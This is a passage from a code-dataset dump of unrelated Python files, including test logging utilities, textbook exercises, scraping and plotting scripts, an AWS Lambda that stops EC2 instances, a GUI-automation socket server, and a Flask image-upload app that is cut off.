calls.\n \"\"\"\n def __init__(self):\n \"\"\"\n Constructor.\n \"\"\"\n self.clear()\n\n def assert_called(self, obj, arg_dict, msg=None):\n \"\"\"\n Throws AssertionError if obj/arg_dict do not appear in the log.\n \"\"\"\n results = self.search(obj, arg_dict)\n if not results:\n if msg is None:\n msg = \"{} called with parameters {}.\".format(obj, arg_dict)\n raise AssertionError(msg)\n return results\n\n def clear(self):\n \"\"\"\n Clears the log.\n \"\"\"\n self.calls = []\n\n def log(self, obj, arg_dict):\n \"\"\"\n Appends an entry to the log with obj and it's arg_dict.\n \"\"\"\n self.calls.append(LogEntry(obj, arg_dict))\n\n def search_after(self, obj1, obj2, arg_dict1, arg_dict2):\n \"\"\"\n Returns any LogEntries matching obj1 and arg_dict1 which occurred\n after at least once log entry matching obj2 and arg_dict2.\n \"\"\"\n result = []\n # Make sure log is not empty.\n if self.calls:\n # Search over log by index.\n found = False\n for i in range(len(self.calls)):\n if self.calls[i].match(obj2, arg_dict2):\n found = True\n break\n # If a LogEntry was found for obj2/argdict2, search the log after\n # that point for obj1/arg_dict1.\n if found:\n for j in range(i+1, len(self.calls)):\n if self.calls[j].match(obj1, arg_dict1):\n result.append(self.calls[j])\n return result\n\n def search_before(self, obj1, obj2, arg_dict1, arg_dict2):\n \"\"\"\n Returns any LogEntries matching obj1 and arg_dict1 which occurred\n before at least once log entry matching obj2 and arg_dict2.\n \"\"\"\n result = []\n # Make sure log is not empty.\n if self.calls:\n # Search backwards over log by index.\n found = False\n for i in range(len(self.calls)-1, 0, -1):\n if self.calls[i].match(obj2, arg_dict2):\n found = True\n break\n # If a LogEntry was found for obj2/argdict2, search the log before\n # that point for obj1/arg_dict1.\n if found:\n for j in range(0, i-1):\n if self.calls[j].match(obj1, arg_dict1):\n result.append(self.calls[j])\n return result\n\n def search(self, obj, arg_dict=None):\n \"\"\"\n Return any LogEntrys matching the specified objcet and optional\n arguments.\n \"\"\"\n result = []\n for entry in self.calls:\n if entry.match(obj, arg_dict):\n result.append(entry)\n return result\n","sub_path":"ft4222/simulation/util/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":5471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"375794623","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# my chapter6 code:\n# import chapter5\n#\n# def new_remakefile(filename):\n# try:\n# with open(str(filename),'r') as filereader:\n# data = filereader.readline().strip().split(',')\n# data = {'Name':data.pop(0), 'Birthday':data.pop(0),'Time':sorted(set([chapter5.sanitize(each_item) for each_item in data]))[:3]}\n# return data\n# except:\n# pass\n#\n#\n# james_data = new_remakefile('james2.txt')\n#\n# print(james_data)\n\n# chapter6 example code:\ndef sanitize(time_string):\n if '-' in time_string:\n splitter = '-'\n elif '.' in time_string:\n splitter = '.'\n else:\n return(time_string)\n (mins, secs) = time_string.split(splitter)\n return (mins + ':' + secs)\n\n\nclass Athlete:\n def __init__(self, a_name, a_dob=None, a_times=[]):\n self.name = a_name\n self.dob = a_dob\n self.times = a_times\n\n def top3(self):\n return sorted(set([sanitize(each_item) for each_item in self.times]))[:3]\n\n def add_time(self, time):\n self.times.append(time)\n print(self.times)\n\n def add_times(self, times=[]):\n self.times.extend(times)\n print(self.times)\n\nclass AthleteList(list):\n def __init__(self, a_name, a_dob=None, a_time=[]):\n list.__init__([])\n self.name = a_name\n self.dob = a_dob\n self.extend(a_time)\n\n def top3(self):\n return sorted(set([sanitize(each_item) for each_item in self]))[:3]\n\n\ndef get_coach_data(filename):\n \"\"\"remake txt file\"\"\"\n try:\n with open(str(filename)) as filereader:\n raw_data = filereader.readline()\n temp_list = raw_data.strip().split(',')\n # data = {'Name':data.pop(0), 'DOB':data.pop(0), 'Times':str(sorted(set(sanitize(t) for t in temp_list))[0:x])}\n return AthleteList(temp_list.pop(0), temp_list.pop(0), temp_list)\n except IOError as ioerr:\n print(\"IO Error: \" + str(ioerr))\n return 1\n\nsarah = get_coach_data('sarah2.txt')\n\n# print(sarah['Name'] + \"'s fastest times are: \" + sarah['Times'])\nprint(sarah.name + \"'s fastest times are: \" + str(sarah.top3()))\n","sub_path":"HeadFirstPython/chapter6/chapter6.py","file_name":"chapter6.py","file_ext":"py","file_size_in_byte":2183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"562008057","text":"import requests\nfrom bs4 import BeautifulSoup\n\nwith open('input.txt') as f:\n id = [line.rstrip() for line in f]\nprint(id)\navailable = []\n\nfor x in id:\n resp = requests.get(\"http://steamcommunity.com/id/{}\".format(x))\n bsoup = BeautifulSoup(resp.text, 'html.parser')\n counter = id.index(x)\n amount = len(id)\n hasname = bsoup.find(\"div\", {\"class\": \"persona_name\"})\n if hasname:\n print(\"[\",counter,\"/\",amount,\"]\", \" [Taken] \" , x, sep='')\n else:\n print(\"[\", counter, \"/\", amount, \"]\", \" [Available] \", x, sep='')\n available.append(x)\n\nwith open('output_available.txt', 'w') as f:\n for item in available:\n f.write(\"%s\\n\" % item)","sub_path":"idchecker.py","file_name":"idchecker.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"588331512","text":"#codigo para la lambda\n\nimport boto3\n\ndef handler (event,context):\n ec2_client=boto3.client('ec2')\n #esta primera parte únicamente enumera las regiones\n regions = [region['RegionName']\n for region in ec2_client.describe_regions()['Regions']]\n for region in regions:\n ec2=boto3.resource('ec2',region_name=region)\n print (\"Region:\",region)\n #ahora lista las que estan encendidas\n instances=ec2.instances.filter(\n Filters=[{'Name': 'instance-state-name',\n 'Values':['running']}])\n #y las para. si queremos que las arranque...no hay mas que hacer uqe en lugar de stop() haga start()\n for instance in instances:\n instance.stop()\n print(\"Instancua parada:\",instance.id)\n","sub_path":"apagamaquinasaws.py","file_name":"apagamaquinasaws.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"127406542","text":"from __future__ import unicode_literals\n\nfrom .zz import TestWorld\n\nclass T(TestWorld):\n def test(self):\n expected = r'a.o', r'b.o', r'c.o', r'd.o'\n expected = expected, expected\n self.world_test(_feed, expected, r'+.o', r'l.o')\n\n_feed = r'''\n+.o:=$(patsubst %.c %.o $(+ a.c $(+ b.c c.c) d.c))\nl.o:=$(patsubst %.c %.o $(list a.c $(list b.c c.c) d.c))\n'''[1:]\n","sub_path":"apymake/zztest/t1eval/t12world/world07list.py","file_name":"world07list.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"370700843","text":"#-------------------------------------------------------------------------------\n# Name: module1\n# Purpose:\n#\n# Author: m_noa\n#\n# Created: 25/04/2021\n# Copyright: (c) m_noa 2021\n# Licence: \n#-------------------------------------------------------------------------------\n\nimport asyncio\nfrom pyppeteer import launch\n\nasync def main():\n browser = await launch(devtools=True)\n page = await browser.newPage()\n await page.goto('https://sanjose.legistar.com')\n dateSelector = await page.querySelector('#ctl00_ContentPlaceHolder1_tdYears')\n dates = await dateSelector.querySelectorAll('li')\n index = 0\n i = 0\n for date in dates:\n if await date.evaluate('el => el.textContent') == 'Last Week':\n index = i\n i += 1\n await dateSelector.click()\n await page.waitForSelector('#ctl00_ContentPlaceHolder1_lstYears_DropDown', visible=True )\n await dates[index].click()\n await page.waitForSelector('#ctl00_ContentPlaceHolder1_gridCalendar_ctl00')\n links = await page.querySelectorAll('#ctl00_ContentPlaceHolder1_gridCalendar_ctl00 a')\n for link in links:\n inText = await link.evaluate('el => el.textContent', force_expr=True)\n if inText == 'Agenda':\n link.click()\n print(link, inText)\n\n print('moo');\n await browser.close()\n\nasyncio.get_event_loop().run_until_complete(main())","sub_path":"Legistar.js/Legistar_JS_translated_to_Python.py","file_name":"Legistar_JS_translated_to_Python.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"560088574","text":"import pandas as pd \r\nimport matplotlib.pyplot as plt\r\n\r\npath = \"data.csv\"\r\ndf = pd.read_csv(path)\r\ndf.head()\r\n\r\ndf = pd.read_csv('data.csv', index_col='Unique Key')\r\n\r\ndf.head(3)\r\ntype(df)\r\n\r\nboroughcount = df.groupby(['Complaint Type','Borough']).size().unstack()\r\n\r\nfigures, axes = plt.subplots(3,2, figsize=(5,12))\r\n\r\nfor x, (label,col) in enumerate(boroughcount.iteritems()):\r\n axis = axes[int(x/2), x%2]\r\n col = col.sort_values(ascending=True)[:3]\r\n col.plot(kind='bar', ax=axis)\r\n axis.set_title(label)\r\n \r\nplt.tight_layout()","sub_path":"task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"472154338","text":"# -*- encoding: UTF-8 -*-\nimport cherrypy\n\nfrom imomo.auth import auth\nfrom imomo import errors\nfrom imomo.data_structs import ForecastData\nfrom imomo.forecast import decadal\nfrom imomo.forecast.decadal_forecaster import RegressionModel\nfrom imomo.handlers.responses import IMomoErrorResponse\nfrom imomo.handlers.responses import IMomoResourceResponse\nfrom imomo.managers import ForecastManager\n\nclass ForecastHandler(object):\n\n @auth.require_auth()\n @cherrypy.tools.json_in()\n @cherrypy.tools.json_out()\n def calculate_decade_forecast(self, test=False):\n \"\"\"Calculate the forecasted average value for a 10-day period.\n\n The forecast is calculated using the latest available decade data and\n a forecasting model trained on all the available historical data for\n a single site.\n\n The parameters for the forecasting are passed in the JSON-encoded\n body, these are:\n\n site_ids (list of int): IDs for the sites of interest.\n year (int):\n decade (int): A number between 0 and 35 representing a 10-day period\n in the year.\n\n Args:\n test (bool): A parameter that can be used to test the handler\n method without using the scipy/sklearn stack. Ideal for\n integration environments, e.g. Travis-CI.\n\n Returns:\n * An IMomoResourceResponse (200) with the forecasts for each site.\n * An IMomoErrorResponse (500) if there is an unexpected error.\n \"\"\"\n session = cherrypy.request.db\n user = cherrypy.request.login\n payload = cherrypy.request.json\n site_ids = payload['siteIds']\n year = int(payload['year'])\n decade = int(payload['decade'])\n data_entries = []\n for site_id in site_ids:\n try:\n training_raw_data = ForecastManager.get_training_data_for_site(\n session, site_id, user.source_id)\n training_data = decadal.decadal_variable_factory(\n training_raw_data)\n training_signals = (\n ForecastManager.get_latest_forecasting_signals(\n session, decade, site_id, user.source_id)\n )\n clean_training_data = (\n decadal\n .remove_data_with_missing_values(training_data)\n )\n if not clean_training_data:\n raise errors.NoDischargeDataError()\n except errors.NoDischargeDataError as ndde:\n response = IMomoErrorResponse(status=400)\n response.error = ndde\n return response.prepare()\n reg_model = RegressionModel.build_regression_model(\n RegressionModel.SupportedModels.default_model())\n trainer = reg_model.configure()\n x_train = []\n y_train = []\n for train_data in clean_training_data:\n train_data_list = train_data.to_list()\n x_train.append(train_data_list[:-1])\n y_train.append(train_data_list[-1])\n trainer.fit(x_train, y_train)\n month = (decade - decade % 3) / 3\n decade_in_month = decade % 3\n quarter = (decade - decade % 9) / 9\n predictor = decadal.DecadalVariable(year, month, decade_in_month,\n quarter, training_signals)\n predicted_value = trainer.predict(predictor.to_list()[:-1])\n last_five_years_discharge = (\n ForecastManager.get_previous_years_discharge_values(\n session, decade, year, site_id, user.source_id)\n )\n data_entry = ForecastData(year, decade, site_id, predicted_value[0],\n last_five_years_discharge)\n data_entries.append(data_entry)\n response = IMomoResourceResponse(status=200)\n response.resources = data_entries\n response.resource_type = ForecastData.__name__\n return response.prepare()","sub_path":"imomo/handlers/forecast.py","file_name":"forecast.py","file_ext":"py","file_size_in_byte":4094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"30925298","text":"# plot the number of tracks per filter condition\n\nfrom ROOT import TFile, TH1, TGraphErrors\nfrom plotFunc import *\nfrom ROOT import gROOT\n\nLoadPlotFunc()\n\n \nfnames = [ \"magicPlots_Q.root\" ] #\"magicPlots_noQ.root\" , \"magicPlots_Q.root\"]\nfitModes = [ \"TruthLR\", \"MainFit\", \"FullSeqFit\", \"LRFlip\" ] \norientation = [ \"radialPos\", \"verticalPos\" ] \n\nfor i in range(len(fnames)): # quality on/off files\n\n\t# get file\n\tfile = TFile.Open(\"../plots/flipLR/magic/\"+fnames[i])\n\tprint(file)\n\n\tfor j in range(len(orientation)): \n\n\t\tmeans12 = []\n\t\terrors12 = []\n\t\tmeans18 = []\n\t\terrors18 = []\n\n\t\tfor k in range(len(fitModes)): \n\n\t\t\th12 = file.Get(\"extrapPlots\"+fitModes[k]+\"/vertices/station12/h_\"+orientation[j]) \n\t\t\th18 = file.Get(\"extrapPlots\"+fitModes[k]+\"/vertices/station18/h_\"+orientation[j])\n\n\t\t\tmeans12.append(h12.GetMean())\n\t\t\terrors12.append(h12.GetMeanError())\n\t\t\tmeans18.append(h18.GetMean())\n\t\t\terrors18.append(h18.GetMeanError())\n\n\n\t\ttgr12 = DefineScatErrors([1,2,3,4], [], means12, errors12)\n\t\ttgr18 = DefineScatErrors([1,2,3,4], [], means18, errors18)\n\t\n\t\ttgr12.GetXaxis().SetBinLabel(tgr12.GetXaxis().FindBin(0 + 1.),\"Truth LR\")\n\t\ttgr12.GetXaxis().SetBinLabel(tgr12.GetXaxis().FindBin(1 + 1.),\"Main\")\n\t\ttgr12.GetXaxis().SetBinLabel(tgr12.GetXaxis().FindBin(2 + 1.),\"Full sequence\")\n\t\ttgr12.GetXaxis().SetBinLabel(tgr12.GetXaxis().FindBin(3 + 1.),\"LR flip\")\n\n\t\ttgr18.GetXaxis().SetBinLabel(tgr18.GetXaxis().FindBin(0 + 1.),\"Truth LR\")\n\t\ttgr18.GetXaxis().SetBinLabel(tgr18.GetXaxis().FindBin(1 + 1.),\"Main\")\n\t\ttgr18.GetXaxis().SetBinLabel(tgr18.GetXaxis().FindBin(2 + 1.),\"Full sequence\")\n\t\ttgr18.GetXaxis().SetBinLabel(tgr18.GetXaxis().FindBin(3 + 1.),\"LR flip\")\n\t\n\t\ttgr12.GetXaxis().LabelsOption(\"h\")\n\t\ttgr18.GetXaxis().LabelsOption(\"h\")\n\n\t\ttitle = \"\"\n\t\tif(j==0): title = \";Fit mode;Radial decay position mean [mm]\"\n\t\telse: title = \";Fit mode;Vertical decay position mean [mm]\"\n\n\t\t# DrawScatOverlay(tgr12, tgr18, \"Station 12\", \"Station 18\", title, \"../images/magic/\"+orientation[j]+\"Means\") # DrawScat(graph, title, fname)\n\t\tDrawScat(tgr12, title, \"../images/magic/S12_\"+orientation[j]+\"Means\") # DrawScat(graph, title, fname)\n\t\tDrawScat(tgr18, title, \"../images/magic/S18_\"+orientation[j]+\"Means\") # DrawScat(graph, title, fname)","sub_path":"plotters/attic/extrapPlotsTGraph.py","file_name":"extrapPlotsTGraph.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"340726909","text":"from socket import *\nimport threading\nimport win32gui\nimport pywintypes\nimport control_finder\nimport json\nimport order_maker\nimport window_finder\nimport time\n#db 연결 미리\nclass Server(threading.Thread):\n def __init__(self, socket):\n super().__init__()\n self.s_socket = socket\n def run(self):\n global index\n self.c_socket, addr = self.s_socket.accept()\n print(addr[0], addr[1], \"연결\")\n index += 1\n create_thread(self.s_socket)\n t = threading.Thread(target = self.c_recv)\n t.daemon = True\n t.start()\n #self.join(t)\n\n def c_recv(self):\n print(\"c_recv\",self.c_socket)\n while True:\n try:\n data = json.loads(self.c_socket.recv(1024))\n print(data)\n # 메인창 정보를 얻어와 오더접수 띄울 준비\n main_app_name = \"인성 퀵 서비스 [윤덕순] / [노원스마트물류-노원스마트물류]\"\n main_hwnd, main_childwnds = window_finder.GetChildWindows(main_app_name)\n maincf = control_finder.MainDlgControlFinder()\n window_finder.find_targets(main_childwnds, maincf)\n main_control_dict = maincf.get_control_dict()#위에서 쓸 컨트롤의 위치를 찾아 딕셔너리에 저장을 했다. 그것을 여기서 쓰려고 호출\n starter = order_maker.NewWindow(main_control_dict)#실제 작업이 이루어지는 창을 키는 클래스\n starter.new_window_start()\n\n time.sleep(5)\n\n\n order_dlg = \"오더접수(신규)\"\n hwnd, childwnds = window_finder.GetChildWindows(order_dlg)#아까와 다른점은 부모hwnd의 자식들 중에서만 검사를 함\n cf = control_finder.OrderControl_Finder()#몇번에 뭐가 있는지 정의한 dictionary\n window_finder.find_targets(childwnds, cf)#그것들을 다 찾아낸다.\n control_dict = cf.get_control_dict()#딕셔너리 리턴받는다.\n win32gui.SetForegroundWindow(hwnd)#guia를 실행하기 위해 오더접수 창을 가장 윗단으로 한다.\n om = order_maker.OrderMaker(control_dict, data)#수신한 데이터로 접수 한다.\n om.make_order()\n om.finalyze()\n except:\n self.c_socket.close()\n print(self.c_socket, \"closed\")\n break\n self.c_socket.close()\ndef create_thread(s_socket):\n global index\n t.append(Server(s_socket))\n #t[index].deamon = True\n t[index].start()\n\nt = []\nindex = 0\nHOST = \"\"\nPORT = 9999\nBUfSIZE = 1024\ns_socket = (AF_INET, SOCK_STREAM)\n\nserver_socket = socket(AF_INET, SOCK_STREAM)\nserver_socket.bind((HOST,PORT))\nprint(\"bind\")\nserver_socket.listen(2000)\nprint(\"listen\")\n\ncreate_thread(server_socket)\n#server_socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,1)","sub_path":"tcp.py","file_name":"tcp.py","file_ext":"py","file_size_in_byte":2936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"394584838","text":"import numpy as np\n\n\n########################################################################################################################\n########################################################################################################################\n# POD #\n########################################################################################################################\n########################################################################################################################\n\n\nclass POD:\n \"\"\"\n Performs Direct and Snapshot Proper Orthogonal Decomposition (POD) as well as Higher-order Singular Value\n Decomposition (HOSVD) for dimension reduction of datasets.\n\n **Input:**\n\n * **input_sol** (`ndarray`) or (`list`):\n Second order tensor or list containing the solution snapshots. Third dimension or length of list corresponds\n to the number of snapshots.\n\n * **verbose** (`Boolean`):\n A boolean declaring whether to write text to the terminal.\n\n **Methods:**\n \"\"\"\n\n def __init__(self, input_sol, verbose=True, **kwargs):\n\n self.input_sol = input_sol\n self.verbose = verbose\n self.kwargs = kwargs\n\n @staticmethod\n def unfold(data):\n \"\"\"\n Method for unfolding second order tensors.\n\n **Input:**\n\n * **data** (`ndarray`) or (`list`):\n Input second order tensor to be unfolded.\n\n **Output/Returns:**\n\n * **M0, M1, M2** (`ndarrays`):\n Returns the 2-dimensional unfolded matrices.\n \"\"\"\n\n if type(data) == list:\n x, y, z = data[0].shape[0], data[0].shape[1], len(data)\n data_ = np.zeros((x, y, z))\n for i in range(z):\n data_[:, :, i] = data[i]\n del data\n data = np.copy(data_)\n\n d0, d1, d2 = [0, 2, 1], [1, 2, 0], [2, 0, 1]\n z0, z1, z2 = np.transpose(data, d0), np.transpose(data, d1), np.transpose(data, d2)\n\n m0 = z0.reshape(data.shape[0], data.shape[2] * data.shape[1])\n m1 = z1.reshape(data.shape[1], data.shape[2] * data.shape[0])\n m2 = z2.reshape(data.shape[2], data.shape[0] * data.shape[1])\n\n return m0, m1, m2","sub_path":"src/UQpy/DimensionReduction/baseclass/POD.py","file_name":"POD.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"604529174","text":"# -*- coding: utf-8 -*-\nimport os, sys\n\nreload(sys)\n\nsys.setdefaultencoding(\"utf-8\")\nsys.path.append(os.path.join(os.path.split(os.path.realpath(__file__))[0], '../util'))\nimport loghelper\nimport db\n\n#logger\nloghelper.init_logger(\"import_deals\", stream=True)\nlogger = loghelper.get_logger(\"import_deals\")\n\nif __name__ == '__main__':\n conn = db.connect_torndb()\n conn.execute(\"update deal set status=19000\")\n dfile = open(\"xiniu_deals.txt\")\n content = dfile.read()\n dfile.close()\n deals = content.split(\"******\")\n for deal in deals:\n t = deal.split(\"|||\")\n code = t[0]\n if code == \"\":\n continue\n status = int(t[1])\n assignee_email = t[2]\n sponsor_email = t[3]\n assigneeId = None\n sponsorId = None\n if assignee_email != \"\":\n user = conn.get(\"select * from user where email=%s\", assignee_email)\n if user:\n assigneeId = user[\"id\"]\n if sponsor_email != \"\":\n user = conn.get(\"select * from user where email=%s\", sponsor_email)\n if user:\n sponsorId = user[\"id\"]\n logger.info(\"%s, %s, %s, %s\",code,status,assigneeId,sponsorId)\n\n c = conn.get(\"select * from company where code=%s\", code)\n if c is None:\n continue\n d = conn.get(\"select * from deal where organizationId=1 and companyId=%s\",c[\"id\"])\n if d is None:\n logger.info(\"Deal not found!\")\n else:\n conn.update(\"update deal set declineStatus=18010,status=%s,assignee=%s,sponsor=%s where id=%s\",\n status, assigneeId, sponsorId, d[\"id\"])\n conn.close()","sub_path":"data/coldcall/import_deals.py","file_name":"import_deals.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"236688604","text":"# script that exports tracking data from Blender into *.csv files\n# to use it, you have to create tracks in Blender in the \"Motion Tracking \" workspace\n\n#FILE NAMES ORIGINATE FROM TRACK NAMING IN BLENDER!\nimport bpy\nimport os\n\n# index of movieclip the track marks are on. default = 0\nmovieclip = 0\n\n# frame range for the export\nframeBegin = 1\nframeEnd = 80\n\n\n# main export script\ntracks = bpy.data.movieclips[movieclip].tracking.tracks\n\nfor tr in tracks:\n fileName = tr.name + \".csv\"\n\n with open(fileName,'w') as f:\n\n for frame in range(frameBegin,frameEnd+1):\n loc = tr.markers[frame].co\n f.write('{0}, {1}\\n'.format(loc[0], loc[1]))\n\nprint(\"track export finished\")\n","sub_path":"BlenderTrackExport.py","file_name":"BlenderTrackExport.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"155949074","text":"\"\"\"\nPlot precip hms for eddy permitting and zonally symmetric runs (26/03/2018)\n\n\"\"\"\n\nimport xarray as xr\nimport sh\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom climatology import precip_mse_plot\nfrom pylab import rcParams\nfrom hadley_cell import mass_streamfunction\nfrom data_handling_updates import model_constants as mc\n\ndata_sn1 = xr.open_dataset('/disca/share/rg419/Data_moist/climatologies/sn_1.000.nc')\n#data_sn1_zs = xr.open_dataset('/disca/share/rg419/Data_moist/climatologies/sn_1_sst_zs.nc')\ndata_sn1_zs = xr.open_dataset('/disca/share/rg419/Data_moist/climatologies/sn_1.000_zs_sst.nc')\ndata_sine = xr.open_dataset('/disca/share/rg419/Data_moist/climatologies/sine_sst_10m.nc')\ndata_sine_zs = xr.open_dataset('/disca/share/rg419/Data_moist/climatologies/sine_sst_10m_zs.nc')\n\n \nplot_dir = '/scratch/rg419/plots/paper_2_figs/'\nmkdir = sh.mkdir.bake('-p')\nmkdir(plot_dir)\n \n#rcParams['figure.figsize'] = 10, 10\nrcParams['figure.figsize'] = 10, 6\nrcParams['font.size'] = 14\n\n\ndef psi_u_plot(data, tf, ax):\n \n psi = mass_streamfunction(data, a=6376.0e3, dp_in=50.)\n psi /= 1.e9\n \n n = len(data.xofyear.values)//2\n psi_temp = np.zeros(psi.values.shape)\n for i in range(0,n):\n psi_temp[:,i,:] = (psi[:,i,:].values - psi[::-1,i+n,:].values)/2.\n psi_temp[:,i+n,:] = -1.*psi_temp[::-1,i,:]\n psi = xr.DataArray(psi_temp, coords=[data.lat, data.xofyear.values, psi.pfull], dims=['lat', 'xofyear', 'pfull'])\n\n m = mc.omega * mc.a**2. * np.cos(psi.lat*np.pi/180.)**2. + data.ucomp.mean('lon') * mc.a * np.cos(psi.lat*np.pi/180.)\n \n m_levs = mc.omega * mc.a**2. * np.cos(np.arange(-60.,1.,5.)*np.pi/180.)**2.\n \n f1 = data.ucomp[tf[0]:tf[1],:,:].mean(('xofyear','lon')).plot.contourf(ax=ax, x='lat', y='pfull', yincrease=False, levels=np.arange(-50.,50.1,5.), extend='both', add_labels=False, add_colorbar=False)\n \n m[:,tf[0]:tf[1],:].mean('xofyear').plot.contour(ax=ax, x='lat', y='pfull', yincrease=False, levels=m_levs, colors='0.7', add_labels=False)\n \n psi[:,tf[0]:tf[1],0:19].mean('xofyear').plot.contour(ax=ax, x='lat', y='pfull', yincrease=False, levels=np.arange(0.,601,100.), colors='k', add_labels=False)\n psi[:,tf[0]:tf[1],0:19].mean('xofyear').plot.contour(ax=ax, x='lat', y='pfull', yincrease=False, levels=np.arange(-600.,0.,100.), colors='k', linestyles='dashed', add_labels=False)\n \n ax.set_xlim(-35,35)\n ax.set_xticks(np.arange(-30,31,15))\n ax.grid(True,linestyle=':')\n \n return f1\n\n\n#fig, ((ax1, ax2, ax3), (ax4, ax5, ax6), (ax7, ax8, ax9), (ax10, ax11, ax12)) = plt.subplots(4, 3, sharex='col', sharey='row')\nfig, ((ax1, ax2, ax3), (ax4, ax5, ax6)) = plt.subplots(2, 3, sharex='col', sharey='row')\nplt.set_cmap('RdBu_r')\n \n\n#f1=psi_u_plot(data_sn1, [31,35], ax=ax1) Time frames changed so that equinox picture gives better idea of symmetry\nf1=psi_u_plot(data_sn1, [36,38], ax=ax1)\n#print(data_sn1.xofyear[36:38])\n#print(data_sn1.xofyear[40:42])\n#print(data_sn1.xofyear[44:46])\n#psi_u_plot(data_sn1, [38,42], ax=ax2)\npsi_u_plot(data_sn1, [40,42], ax=ax2)\n#psi_u_plot(data_sn1, [45,49], ax=ax3)\npsi_u_plot(data_sn1, [44,46], ax=ax3)\n\n#psi_u_plot(data_sine, [31,35], ax=ax4)\n#psi_u_plot(data_sine, [38,42], ax=ax5)\n#psi_u_plot(data_sine, [45,49], ax=ax6)\n\n#psi_u_plot(data_sn1_zs, [31,35], ax=ax4)\npsi_u_plot(data_sn1_zs, [36,38], ax=ax4)\n#psi_u_plot(data_sn1_zs, [38,42], ax=ax5)\npsi_u_plot(data_sn1_zs, [40,42], ax=ax5)\n#psi_u_plot(data_sn1_zs, [45,49], ax=ax6)\npsi_u_plot(data_sn1_zs, [44,46], ax=ax6)\n\n#psi_u_plot(data_sine_zs, [31,35], ax=ax10)\n#psi_u_plot(data_sine_zs, [38,42], ax=ax11)\n#psi_u_plot(data_sine_zs, [45,49], ax=ax12)\n\n#for ax in [ax10, ax11, ax12]:\nfor ax in [ax4, ax5, ax6]:\n ax.set_xlabel('Latitude')\n \nfor ax in [ax1, ax4]: #, ax7, ax10]:\n ax.set_ylabel('Pressure, hPa')\n ax.set_yticks([0,200,400,600,800,1000.])\n \nax1.set_title('Pentad 37-38', fontsize=14)\nax2.set_title('Pentad 41-42', fontsize=14)\nax3.set_title('Pentad 45-46', fontsize=14)\n\ni=0\nlabels=['b)','c)','e)','f)']\nfor ax in [ax2, ax3, ax5, ax6]:\n ax.text(-45, 0., labels[i])\n i=i+1\nax1.text(-50, 0., 'a)')\nax4.text(-50, 0., 'd)')\n\n\n#axes = (ax1, ax2, ax3, ax4, ax5, ax6, ax7, ax8, ax9, ax10, ax11, ax12)\naxes = (ax1, ax2, ax3, ax4, ax5, ax6)\n\n\nplt.subplots_adjust(left=0.08, right=0.98, top=0.95, bottom=0.03, hspace=0.2, wspace=0.2)\n#Colorbar\ncb1=fig.colorbar(f1, ax=axes, use_gridspec=True, orientation = 'horizontal',fraction=0.1, pad=0.12, aspect=30, shrink=0.5)\ncb1.set_label('Zonal wind speed, m/s')\n\n#plt.savefig(plot_dir+'psi_ep_zs.pdf', format='pdf')\nplt.savefig(plot_dir+'psi_ep_zs_diff.pdf', format='pdf')\nplt.close() \n","sub_path":"paper_2_figs/psi_plots_ep_zs.py","file_name":"psi_plots_ep_zs.py","file_ext":"py","file_size_in_byte":4672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"279409323","text":"import os\nfrom flask import Flask, render_template, request, redirect, url_for, send_from_directory\nfrom werkzeug import secure_filename\nimport glob\nimport datetime\nimport subprocess\n\napp = Flask(__name__)\n\nUPLOAD_FOLDER = 'static/images/upload/'\nTMP_FOLDER = 'static/images/tmp/'\nALLOWED_EXTENSIONS = set(['png', 'jpg', 'gif','jpeg','heic'])\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.config['TMP_FOLDER'] = TMP_FOLDER\n\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS\n\n@app.route(\"/\")\ndef route():\n return render_template('index.html') \n\n@app.route(\"/index\")\ndef index():\n return render_template('index.html', title='Welcome to Our Wedding') \n\n@app.route(\"/about\")\ndef about():\n return render_template('about.html', title='Story') \n\n@app.route(\"/gallery\")\ndef gallery():\n img_list = sorted(glob.glob(\"./static/images/upload/*\"))\n imgs = sorted(os.listdir(\"./static/images/upload/\"))\n print(imgs)\n return render_template('gallery.html', title='Gallery', galleryImages=img_list,imgs=imgs) \n\n@app.route(\"/upload\")\ndef upload():\n print(img_list)\n return render_template('upload.html') \n\n@app.route('/send', methods=['GET', 'POST'])\ndef send():\n if request.method == 'POST':\n img_file = request.files['img_file']\n if img_file and allowed_file(img_file.filename):\n now = datetime.datetime.now()\n filename = 'g{0:%Y%m%d%H%M%S}_'.format(now) + secure_filename(img_file.filename)\n \n if filename.rsplit('.', 1)[1].lower() != \"heic\".lower():\n img_file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n else:\n #Convert from HEIC to JPG\n heic_path = 